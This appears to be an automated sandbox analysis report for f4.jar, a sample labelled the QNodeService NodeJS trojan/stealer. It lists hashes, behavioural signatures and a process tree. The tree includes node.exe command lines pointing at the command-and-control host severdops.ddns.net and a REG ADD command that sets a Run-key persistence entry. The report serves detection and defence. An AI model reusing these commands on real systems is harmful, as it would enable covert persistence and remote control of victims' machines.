Analysis

  • max time kernel
    122s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08-12-2020 23:21

General

  • Target

    f4.jar

  • Size

    57KB

  • MD5

    ae77d6c4c46bbfdaa23c9238d12dcd98

  • SHA1

    4a5e4e0e0e7957a6b78a827bcd2d13f37afa713d

  • SHA256

    b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1

  • SHA512

    64dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\f4.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6430ea54.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3696
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3240
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3088
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2148

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1172-174-0x0000037249680000-0x0000037249681000-memory.dmp

    Filesize

    4KB

  • memory/3240-181-0x000003D8508C0000-0x000003D8508C1000-memory.dmp

    Filesize

    4KB

  • memory/3696-177-0x000003C270100000-0x000003C270101000-memory.dmp

    Filesize

    4KB